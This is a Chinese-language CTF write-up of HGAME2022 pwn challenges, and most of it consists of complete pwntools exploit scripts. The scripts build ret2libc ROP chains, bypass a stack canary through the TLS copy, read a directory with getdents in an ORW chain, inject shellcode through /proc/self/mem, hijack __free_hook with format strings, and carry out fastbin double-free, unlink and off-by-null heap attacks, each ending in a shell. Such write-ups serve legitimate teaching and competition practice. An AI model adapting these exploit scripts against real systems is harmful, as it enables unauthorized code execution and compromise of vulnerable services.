闲着时就去打了下杭电的 HGAME2022,以为第一周的题目都会蛮简单的,没想到每道题都花了不少功夫,出题人甚至还只是大二学生,顿时感觉到参差了。
WEEK1 test_your_gdb 先检查一下保护
再看一下程序逻辑
动调直接去看加密后的 s2,我们大概停在判断位置处,看一下 s2 即 rsi 的值
上图显示不全,因为一共要比较 16 个字节:
所以 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *io=remote("chuj.top" ,50610 ) backdoor=0x401256 io.send(p64(0xb0361e0e8294f147 )+p64(0x8c09e0c34ed8a6a9 )) io.recvuntil('enter your pass word\n' ) io.recv(24 ) canary=u64(io.recv(8 )) log.success("canary===>" +hex (canary)) payload='a' *24 +p64(canary)+p64(0 )+p64(backdoor) io.sendline(payload) io.interactive()
enter_the_pwn_land 先检查一下保护:
看一下主要函数:
可以看到不断创造线程进入一个带有栈溢出漏洞的函数,值得注意的是,v3 作为 read 的返回值和 i 作为 s 的参数决定了读入的位置,这两者在覆盖的时候均不应被改变(不断的测试发现 v3 不能变,i 按理说可以变成下一次想读入的位置)。
清楚这一点后,exp 就是普通的 ret2libc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *io=remote("chuj.top" ,34686 ) elf=ELF("a" ) libc=ELF("libc-2.31.so" ) pop_rdi_ret=0x0000000000401313 call_puts=0x0401090 vul=0x04011BA ret=0x000000000040101a payload = 'a' *0x28 +p32(0 )+p32(0x2c )+p64(0 ) payload += p64(pop_rdi_ret)+p64(0x404028 )+p64(call_puts) payload += p64(vul) io.sendline(payload) setbuf_addr=u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) log.success("libc=======>" +hex (libc.sym["setbuf" ])) log.success("setbuf===>" +hex (setbuf_addr)) libc_base=setbuf_addr-libc.sym["setbuf" ] log.success("libc_base==>" +hex (libc_base)) system=libc_base+libc.sym["system" ] binsh=libc_base+next (libc.search('/bin/sh' )) payload = 'a' *0x28 +p32(0 )+p32(0x2c )+p64(0 ) payload += p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(system) io.sendline(payload) io.interactive()
注:打远程的时候发现泄露 read 的函数地址计算基址时会有偏差,所以换了 setbuf 就成了。libc-2.31 也需要栈对齐。
enter_the_evil_pwn_land 题目和上题稍有变化,保护方面多开启了个 canary
当时的第一个想法是利用 puts 泄露canary,不过回过神来发现 puts 过后就直接检测 canary 了,所以打消这个念头。
记忆中其他绕过 canary 的方法有劫持 _stack_chk_fail ,还有一种就是同时修改 canary 和 TLS 结构体 中预存的 canary。前者一般需要任意写,后者的话印象中没遇到过。不过似乎有一种 stack smash 泄露信息的巧妙方法,这就触发了我的脑洞,会不会,有没有一种可能,TLS 结构体就被布置在了栈 上?况且这道题溢出的空间还不少。
于是我就 gdb 调试了一下,看了一下栈上的信息
然后就继续往下找,终于在很远处发现了可疑目标:
此时我同时将两处覆盖为aaaaaaaa
,发现程序不再报 stack smash 错误,说明我们已经成功绕过了 canary,需要说明的是远程偏移和本地不一样,送过去的数据尽量大就行。
继续打 ret2libc 构造 system(‘/bin/sh’)打不通。
原因不详,猜测是栈结构被我们搞得七零八落的,于是就考虑打 one_gadget。(不知为何 ubuntu16.04 检测 libc-2.31.so 时会报错,18 的就不会)如下:
直接打打不通,选择尝试构造条件,因为程序里有 csu 的 gadget,所以将寄存器 r15 和 r12 置零轻而易举:
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *io=remote("chuj.top" ,35225 ) libc=ELF("libc-2.31.so" ) pop_rdi_ret=0x0000000000401363 ret=0x40101a payload='a' *0x38 +p64(pop_rdi_ret)+p64(0x404030 )+p64(0x4010A0 )+p64(0x4011DA ) payload=payload.ljust(3000 ,'a' ) io.sendline(payload) setbuf_addr=u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) libc_base=setbuf_addr-libc.sym["setbuf" ] log.success("libc_base===>" +hex (libc_base)) system=libc_base+libc.sym["system" ] binsh=libc_base+next (libc.search('/bin/sh\x00' )) one_gadget=libc_base+0xe6c7e log.success('system==>' +hex (system)) log.success('binsh===>' +hex (binsh)) payload='a' *0x38 +p64(0x000000000040135c )+p64(0 )*4 +p64(one_gadget) io.sendline(payload) io.interactive()
oldfashion_orw 查看一下保护,NX 开着,看来不是编写 shellcode 题型
看一下主函数逻辑
有个没检查下限导致的栈溢出。通过这段溢出,构造 orw 链即可。
但这题的 flag 并不叫 flag,我们看一下出题人给的部署文件:
所以还应先泄露 flag 名称才行,一开始想的是 chroot 逃逸或者 opendir & readdir 之类的手法???虽然我也不会就是了。搞了一天没搞出来就去问了出题人,师傅告诉我就是读目录,目录也是文件 ,忽然想到 “ linux 下一切皆文件” 的理论。
于是直接想着直接 open(“/“) 这样子看能不能直接把目录相关数据用 read 和 write 读出来,但失败了,似乎 read 读不了目录文件?于是就在 64 位系统调用表上找其他系统调用,最后花了半天找到了 ‘getdents’
注:该题的 gadget 里没有 syscall,需要我们改 [ prctl ] 为 [ prctl + offset ] syscall 这样子,最后 4bit 为 0XC。
该题也有 csu,因此可以构造任意系统调用,exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 from pwn import *io=remote("chuj.top" ,42614 ) elf=ELF("vuln" ) main=0x401315 context.log_level='debug' def csu (rbx, rbp, r15, r12, r13, r14 ): payload = p64(0x40143A ) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(0x401420 ) payload += 'A' *0x38 return payload main=0x401315 pop_rdi_ret=0x0000000000401443 pop_rsi_r15_ret=0x0000000000401441 io.sendafter('size?\n' ,str (-1 )) payload='a' *0x38 +p64(pop_rdi_ret)+p64(0 ) payload+=p64(pop_rsi_r15_ret)+p64(elf.got["prctl" ])+p64(0 ) payload+=p64(0x4010A0 )+p64(main) io.sendafter("content?\n" ,payload) io.sendafter('done!\n' ,p8(0xc )) bss=0x404088 io.sendafter('size?\n' ,str (-1 )) payload='a' *0x38 +csu(0 ,1 ,elf.got["read" ],0 ,bss,0x10 ) payload+=p64(main) io.sendafter("content?\n" ,payload) io.sendafter('done!\n' ,"/" ) io.sendafter('size?\n' ,str (-1 )) payload='a' *0x38 +p64(pop_rdi_ret)+p64(0 ) payload+=p64(pop_rsi_r15_ret)+p64(bss-0x10 )+p64(0 ) payload+=p64(0x4010A0 )+csu(0 ,1 ,elf.got["prctl" ],bss,0 ,0 ) payload+=p64(main) io.sendafter("content?\n" ,payload) io.send('aa' ) io.sendafter('size?\n' ,str (-1 )) payload='a' *0x38 +csu(0 ,1 ,elf.got["read" ],0 ,bss+0x10 ,78 ) payload+=csu(0 ,1 ,elf.got["prctl" ],3 ,bss,0x300 ) payload+=csu(0 ,1 ,elf.got["write" ],1 ,bss,0x300 ) payload+=p64(main) io.sendafter("content?\n" ,payload) io.send('a' *78 ) io.recvuntil('flag' ) bk=io.recv(20 ) log.success('flag' +bk) bss=0x404088 io.sendafter('size?\n' ,str (-1 )) payload='a' *0x38 +csu(0 ,1 ,elf.got["read" ],0 ,bss,0x20 ) payload+=p64(main) io.sendafter("content?\n" ,payload) io.sendafter('done!\n' ,'flag' +bk+p64(0 )) io.sendafter('size?\n' ,str (-1 )) payload='a' *0x38 +p64(pop_rdi_ret)+p64(0 ) payload+=p64(pop_rsi_r15_ret)+p64(bss-0x10 )+p64(0 ) payload+=p64(0x4010A0 )+csu(0 ,1 ,elf.got["prctl" ],bss,0 ,0 ) payload+=p64(main) io.sendafter("content?\n" ,payload) io.send('aa' ) io.sendafter('size?\n' ,str (-1 )) payload='a' *0x38 +csu(0 ,1 ,elf.got["read" ],4 ,bss,0x80 ) payload+=csu(0 ,1 ,elf.got["write" ],1 ,bss,0x80 ) payload+=p64(main) io.sendafter("content?\n" ,payload) io.interactive()
spfa wp 出来了,任意读漏洞当时是看到了的,就是不知道怎么用算法达到任意写的目的。还有一些细节需要注意,下面细说。
漏洞
任意读
存在于add
和spfa
内的任意写
后门函数
解题思路
利用任意读泄露 got 表上的地址,获得 libc_base
利用任意读泄露 _fini_array 上的地址,获得 proc_base
利用任意读泄露 environ 内的环境变量栈地址,动调计算偏移得到 main 栈的返回地址
利用任意写将返回地址覆盖为后门函数
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *from pwnlib.util.iters import mbruteforceio=process("./spfa" ) elf=ELF("spfa" ) libc=ELF("libc-2.31.so" ) def brute (): io.recvuntil(') == ' ) hash_code = io.recvuntil('\n' , drop=True ).decode().strip() log.success('hash_code={},' .format (hash_code)) charset = string.printable proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4 , method='fixed' ) io.sendlineafter('????> ' , proof) io.sendlineafter("datas?\n>> " , str (4 )) io.sendline(str (1 )) io.sendline(str (0 )) io.sendline(str (0 )) io.sendline(str (-((elf.sym["dist" ]-elf.got["setbuf" ])//8 ))) io.recvuntil(">> the length of the shortest path is " ) setbuf=int (io.recv(15 ),10 ) libc_base=setbuf-libc.sym["setbuf" ] log.success("libc_base===>" +hex (libc_base)) _fini_array=0x6D28 io.sendline(str (1 )) io.sendline(str (0 )) io.sendline(str (0 )) io.sendline(str (-(elf.sym['dist' ]-_fini_array)//8 )) io.recvuntil(">> the length of the shortest path is " ) proc_base=int (io.recv(14 ),10 )-0x12e0 log.success("proc_base===>" +hex (proc_base)) envir=libc_base+libc.sym["environ" ] dist=proc_base+elf.sym["dist" ] io.sendline(str (1 )) io.sendline(str (0 )) io.sendline(str (0 )) io.sendline(str ((envir-dist)//8 )) io.recvuntil(">> the length of the shortest path is " ) env_stack=int (io.recv(15 ),10 ) log.success("env_stack===>" +hex (env_stack)) ret_id=(env_stack-0x100 -dist)//8 backdoor=proc_base+0x16AA io.sendline(str (2 )) io.sendline(str (1 )) io.sendline("0 " +str (ret_id)+" " +str (backdoor)) io.sendline(str (0 )) io.sendline(str (0 )) io.interactive()
题目质量都好高,但这几天打这个比赛都没复习高数了,之后的 week 题就不打了,但要复盘。
WEEK2 blind 一道盲打题,首先告诉了我们 write 的 libc 地址,我们便能利用LibcSearcher
获取 libc。
然后程序告诉我们可以打开一个文件,这里需要我们了解一个新的知识点:Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc 文件系统是一个伪文件 系统,它只存在内存当中,而不占用外存空间。读取 /proc/self/maps 可以得到当前进程的内存映射关系 ,通过读该文件的内容可以得到内存代码段基址 。/proc/self/mem 是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存 。该文件不能直接读取,需要结合 maps 的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。
程序给了我们libc基址
,因此我们只需打开/proc/self/mem
文件,打开后,程序让我们输入一个地址进行篡改,因为 main 函数 ret 时返回的是__libc_start_main
,因此我们篡改该内存即可(直接写内存绕开了 libc 文件不可写的防护 )。
但因为 main 函数 ret 的是 libc_start_main+??? 而不是 libc_start_main+0,所以我们需要足够多的 nop 来覆盖到 libc_start_main+???,令其滑倒在 shellcode 上。
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from LibcSearcher import *from pwnlib.util.iters import mbruteforceimport itertoolsimport base64context.log_level='debug' context.arch='amd64' io=remote("chuj.top" ,51916 ) def brute (): io.recvuntil(') == ' ) hash_code = io.recvuntil('\n' , drop=True ).decode().strip() log.success('hash_code={},' .format (hash_code)) charset = string.printable proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4 , method='fixed' ) io.sendlineafter('????> ' , proof) brute() io.recvuntil(': 0x' ) write=int (io.recv(12 ),16 ) libc=LibcSearcher('write' ,write) libc_base=write-libc.dump('write' ) log.success('libc_base===>' +hex (libc_base)) __libc_start_main=libc_base+libc.dump('__libc_start_main' ) io.sendlineafter(">> " ,'/proc/self/mem\x00' ) io.sendlineafter(">> " , str (__libc_start_main)) payload=asm(shellcraft.sh()).rjust(0x300 ,asm('nop' )) io.sendline(payload) io.interactive()
echo_server 在堆上构造栈的 fmt 链子的题目,总算有机会复盘一遍了,确实麻烦。
程序逻辑很简单,就是一个不断循环的格式化字符串漏洞。
首先我们动调看一下栈的结构:
通过格式化字符串我们可以泄露出rbp
和libc
:
1 2 3 4 5 6 7 8 9 10 11 12 def input (content ): io.sendlineafter(">> " ,str (len (content))) io.send(content) input ("%6$p-%13$p" )io.recvuntil("0x" ) rbp=int (io.recv(12 ),16 ) log.success("rbp={}" .format (hex (rbp))) io.recvuntil("0x" ) libc_base=int (io.recv(12 ),16 )-libc.sym["__libc_start_main" ]-243 log.success("libc_base={}" .format (hex (libc_base))) __free_hook=libc_base+libc.sym["__free_hook" ] system=libc_base+libc.sym["system" ]
因为 realloc 的size
位为 0 时等同于 free,因此接下来我们选择在栈上构造 __free_hook。
如何构造就需要用到 rbp 链了:
1 2 3 4 __libc_start_main_in_stack=(rbp & 0xFF )+0x18 log.success("__libc_start_main_in_stack:" +hex (__libc_start_main_in_stack)) payload="%{}c%6$hhn\n" .format (__libc_start_main_in_stack+2 ) input (payload)
此时我们选择先构造中间俩字节,所以将 rbp 修改为目标地址+2
处
然后我们利用格式化字符串,将 rbp 指向处写入 __free_hook 对应的 2 个字节:
1 2 payload="%{}c%10$hn\n" .format ((__free_hook >> 16 ) & 0xFFFF ) input (payload)
重复上述步骤我们同理可以修改最后两个字节:
1 2 3 4 payload="%{}c%6$hhn\n" .format (__libc_start_main_in_stack) input (payload)payload="%{}c%10$hn\n" .format (__free_hook & 0xFFFF ) input (payload)
这样我们在栈上就有了__free_hook
,重复上述步骤,通过利用当前 rbp 修改写入位置,我们便能将__free_hook
劫持为system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 payload="%{}c%13$hn\n" .format ((system) & 0xFFFF ) input (payload)payload="%{}c%10$hn\n" .format (__free_hook + 2 & 0xFFFF ) input (payload)payload = "%{}c%13$hn\n" .format ((system >> 16 ) & 0xFFFF ) input (payload)payload="%{}c%10$hn\n" .format (__free_hook + 4 & 0xFFFF ) input (payload)payload="%{}c%13$hn\n" .format ((system >> 32 ) & 0xFFFF ) input (payload)
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *io=process("./echo" ) libc=ELF("libc-2.31.so" ) def input (content ): io.sendlineafter(">> " ,str (len (content))) io.send(content) gdb.attach(io) input ("%6$p-%13$p" )io.recvuntil("0x" ) rbp=int (io.recv(12 ),16 ) log.success("rbp={}" .format (hex (rbp))) io.recvuntil("0x" ) libc_base=int (io.recv(12 ),16 )-libc.sym["__libc_start_main" ]-243 log.success("libc_base={}" .format (hex (libc_base))) __free_hook=libc_base+libc.sym["__free_hook" ] system=libc_base+libc.sym["system" ] __libc_start_main_in_stack=(rbp & 0xFF )+0x18 log.success("__libc_start_main_in_stack:" +hex (__libc_start_main_in_stack)) payload="%{}c%6$hhn\n" .format (__libc_start_main_in_stack+2 ) input (payload)payload="%{}c%10$hn\n" .format ((__free_hook >> 16 ) & 0xFFFF ) input (payload)payload="%{}c%6$hhn\n" .format (__libc_start_main_in_stack) input (payload)payload="%{}c%10$hn\n" .format (__free_hook & 0xFFFF ) input (payload)payload="%{}c%13$hn\n" .format ((system) & 0xFFFF ) input (payload)payload="%{}c%10$hn\n" .format (__free_hook + 2 & 0xFFFF ) input (payload)payload = "%{}c%13$hn\n" .format ((system >> 16 ) & 0xFFFF ) input (payload)payload="%{}c%10$hn\n" .format (__free_hook + 4 & 0xFFFF ) input (payload)payload="%{}c%13$hn\n" .format ((system >> 32 ) & 0xFFFF ) input (payload)gdb.attach(io) input ("/bin/sh\x00" )io.sendline(str (0 )) io.interactive()
WEEK3 elder_note
libc2.23 下的 UAF ,最大可申请 0x100 大小的 chunk,所以通过 unsorted bin leak 便能泄露出 libc。通过 double free 将 chunk 分配到&_malloc_hook-0x23
处。但因为无法满足 one_gadget 的条件,所以配合&_realloc_hook
调整栈帧,即将&_malloc_hook
劫持为&realloc+?
,再将&_realloc_hook
劫持为 one_gadget。
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *sh = process("./note" ) libc = ELF("./libc-2.23.so" ) def add (index, size, content ): sh.sendlineafter(">> " , "1" ) sh.sendlineafter(">> " , str (index)) sh.sendlineafter(">> " , str (size)) sh.sendafter(">> " , content) def show (index ): sh.sendlineafter(">> " , "2" ) sh.sendlineafter(">> " , str (index)) def delete (index ): sh.sendlineafter(">> " , "3" ) sh.sendlineafter(">> " , str (index)) add(0x0 , 0x100 , "A" *0x100 ) add(0x1 , 0x68 , "B" *0x68 ) add(0x2 , 0x68 , "B" *0x68 ) delete(0 ) show(0 ) libc_base = u64(sh.recv(6 ).ljust(8 , '\x00' )) - libc.sym["__malloc_hook" ] - 0x68 __malloc_hook = libc_base + libc.sym["__malloc_hook" ] __realloc_hook = libc_base + libc.sym["__realloc_hook" ] system = libc_base + libc.sym["system" ] one_gadget = libc_base + 0x4527a realloc = libc_base + libc.sym["__libc_realloc" ] log.success("libc_base: " + hex (libc_base)) delete(1 ) delete(2 ) delete(1 ) add(0 , 0x68 , p64(__malloc_hook - 0x23 )) add(0 , 0x68 , '\n' ) add(0 , 0x68 , '\n' ) add(0 , 0x68 , 'a' * 0xb + p64(one_gadget) + p64(realloc + 0x10 )) sh.sendlineafter(">> " , "1" ) sh.sendlineafter(">> " , str (0 )) sh.sendlineafter(">> " , str (0 )) sh.interactive()
changeable_note
edit 里有个溢出函数gets
,因此可以构造 unlink 改写 notes 数组的内容为想要的地址&_free_hook
,然后再将目标函数篡改为system
。
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *sh = process("./note" ) elf = ELF("./note" ) libc = ELF("./libc-2.23.so" ) def add (index, size, content ): sh.sendlineafter(">> " , "1" ) sh.sendlineafter(">> " , str (index)) sh.sendlineafter(">> " , str (size)) sh.sendafter(">> " , content) def edit (index, payload ): sh.sendlineafter(">> " , "2" ) sh.sendafter(">> " , str (index).ljust(8 , '\x00' )) sh.send(payload) def delete (index ): sh.sendlineafter(">> " , "3" ) sh.sendlineafter(">> " , str (index)) note_addr = 0x4040C0 add(0 , 0x20 , '\n' ) add(1 , 0x20 , '\n' ) add(2 , 0x100 , '\n' ) add(3 , 0x20 , '\n' ) payload = p64(0 ) + p64(0x21 ) + p64(note_addr + 8 - 0x18 ) + p64(note_addr + 8 - 0x10 ) payload += p64(0x20 ) + p64(0x110 ) payload += '\n' edit(1 , payload) delete(2 ) payload = p64(0 ) * 2 + p64(elf.got['free' ]) + p64(elf.got['puts' ]) + p64(elf.got['atoi' ]) + p64(note_addr) + '\n' edit(1 , payload) edit(0 , p64(elf.sym['puts' ])[:-1 ] + '\n' ) delete(1 ) libc_base = u64(sh.recv(6 ).ljust(8 , '\x00' )) - libc.sym["puts" ] system = libc_base + libc.sym["system" ] log.success("libc_base: " + hex (libc_base)) edit(2 , p64(system)[:-1 ] + '\n' ) sh.sendlineafter(">> " , '/bin/sh\x00' ) sh.interactive()
sized_note libc2.27 的 off-by-null 模板题。
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *sh = process("./note" ) libc = ELF("./libc-2.27.so" ) def add (index, size, content ): sh.sendlineafter(">> " , "1" ) sh.sendlineafter(">> " , str (index)) sh.sendlineafter(">> " , str (size)) sh.sendafter(">> " , content) def show (index ): sh.sendlineafter(">> " , "2" ) sh.sendlineafter(">> " , str (index)) def delete (index ): sh.sendlineafter(">> " , "3" ) sh.sendlineafter(">> " , str (index)) def edit (index, payload ): sh.sendlineafter(">> " , "4" ) sh.sendafter(">> " , str (index).ljust(8 , '\x00' )) sh.send(payload) for i in range (0 , 11 ): add(i, 0xF8 , "a" *0xF7 ) add(12 , 0x60 , '\n' ) for i in range (3 , 10 ): delete(i) delete(0 ) edit(1 , 'a' * 0xF0 + p64(0x200 )) delete(2 ) add(0 , 0x78 , "\n" ) add(0 , 0x78 , "\n" ) show(1 ) libc_base = u64(sh.recv(6 ).ljust(8 , '\x00' )) - libc.sym["__malloc_hook" ] - 0x10 - 0x60 log.success("libc_base={}" .format (hex (libc_base))) __free_hook = libc_base + libc.sym["__free_hook" ] system = libc_base + libc.sym["system" ] add(0 , 0x60 , '\n' ) delete(12 ) delete(0 ) edit(1 , p64(__free_hook)) add(1 , 0x60 , '/bin/sh\x00' ) add(2 , 0x60 , p64(system)) delete(1 ) sh.interactive()